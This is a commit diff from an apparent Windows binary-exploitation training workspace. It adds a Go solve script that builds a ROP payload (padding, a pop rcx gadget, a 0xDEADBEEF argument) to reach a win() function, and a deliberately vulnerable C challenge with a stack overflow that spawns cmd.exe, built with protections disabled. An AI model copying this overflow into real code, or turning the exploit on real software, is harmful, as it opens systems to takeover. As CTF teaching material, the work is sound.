restructure workspace into numbered pwn progression
Rename task dirs to 01_info_leak through 07_heap_aslr following a standard learning order (info leak → ROP → fmtstr → heap overflow → UAF → LFH grooming → ASLR bypass). Remove bof_basic, demos, heap_segment, and template directories. Strip debug symbols from all compiled challenge binaries and remove all .exe files from the tree. Strip all explanatory comments from solve scripts. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
This commit is contained in:
@@ -0,0 +1,50 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"log"
|
||||
"winpwn"
|
||||
)
|
||||
|
||||
func main() {
|
||||
target := "task2.exe"
|
||||
|
||||
peFile, err := winpwn.OpenPE(target)
|
||||
if err != nil {
|
||||
log.Fatalf("Failed to open PE: %v", err)
|
||||
}
|
||||
defer peFile.Close()
|
||||
|
||||
winRVA, err := peFile.GetProcAddress("win")
|
||||
if err != nil {
|
||||
log.Fatalf("win() not found: %v", err)
|
||||
}
|
||||
imageBase, err := peFile.ImageBase()
|
||||
if err != nil {
|
||||
log.Fatalf("Failed to read ImageBase: %v", err)
|
||||
}
|
||||
winAddr := imageBase + winRVA
|
||||
fmt.Printf("[+] win() address: 0x%X\n", winAddr)
|
||||
|
||||
popRcx := uint64(0x140002740)
|
||||
ret := uint64(0x140001000)
|
||||
|
||||
offset := 56
|
||||
payload := bytes.Repeat([]byte("A"), offset)
|
||||
payload = append(payload, winpwn.P64(popRcx)...)
|
||||
payload = append(payload, winpwn.P64(0xDEADBEEF)...)
|
||||
payload = append(payload, winpwn.P64(ret)...)
|
||||
payload = append(payload, winpwn.P64(winAddr)...)
|
||||
|
||||
tube, err := winpwn.Spawn("./" + target)
|
||||
if err != nil {
|
||||
log.Fatalf("Spawn: %v", err)
|
||||
}
|
||||
|
||||
if err := tube.SendLineAfter([]byte("Input: "), payload); err != nil {
|
||||
log.Fatalf("SendLineAfter: %v", err)
|
||||
}
|
||||
|
||||
tube.Interactive()
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
/* TL;DR: Главное отличие 64-битного ROP на Windows от Linux — это Calling
|
||||
Convention (соглашение о вызовах). В Linux первый аргумент передается через
|
||||
регистр RDI, а в Windows — через RCX. Поэтому вместо гаджета pop rdi мы будем
|
||||
искать pop rcx. Кроме того, вызовы WinAPI жестко требуют выравнивания стека по
|
||||
границе 16 байт, иначе программа упадет внутри system("cmd.exe").
|
||||
|
||||
Ниже представлены адаптированные исходники для твоего CTF-клуба. Чтобы твой
|
||||
парсер PEFile в go_pwner смог найти функцию win по имени (без символов отладки),
|
||||
я добавил ей атрибут экспорта __declspec(dllexport) — это классический прием для
|
||||
Windows-тасков, заменяющий парсинг ELF Symbols. Уязвимый файл (rop0_win.c)
|
||||
|
||||
Компилировать этот файл нужно с отключенным ASLR (аналог PIE в Linux), чтобы
|
||||
базовый адрес был статичным. Для MinGW-w64 используй флаги: gcc rop0_win.c -o
|
||||
rop0_win.exe -fno-pie -no-pie -fno-stack-protector. */
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <windows.h>
|
||||
|
||||
void setup() {
|
||||
// Отключение буферизации для корректной работы через пайпы
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
}
|
||||
|
||||
// Экспортируем функцию в таблицу PE, чтобы её можно было найти через твой
|
||||
// PE-парсер
|
||||
__declspec(dllexport) void win(int secret) {
|
||||
char buf[32];
|
||||
|
||||
// В Windows x64 значение secret будет взято из регистра RCX
|
||||
if (secret == 0xdeadbeef) {
|
||||
printf("you just got shell\n");
|
||||
system("cmd.exe"); // Меняем /bin/sh на классический cmd
|
||||
} else {
|
||||
printf("wrong argument: 0x%x\n", secret);
|
||||
ExitProcess(1);
|
||||
}
|
||||
}
|
||||
|
||||
void vulnerable() {
|
||||
char buf[32];
|
||||
DWORD bytesRead;
|
||||
HANDLE hStdin = GetStdHandle(STD_INPUT_HANDLE);
|
||||
|
||||
printf("NX is ON! You cannot execute shellcode on the stack.\n");
|
||||
printf("Can you return to win() and set RCX to 0xdeadbeef?\n");
|
||||
printf("Input: ");
|
||||
|
||||
// Используем WinAPI для сырого побайтового чтения
|
||||
ReadFile(hStdin, buf, 256, &bytesRead, NULL);
|
||||
|
||||
printf("Returning...\n");
|
||||
}
|
||||
|
||||
int main() {
|
||||
setup();
|
||||
vulnerable();
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user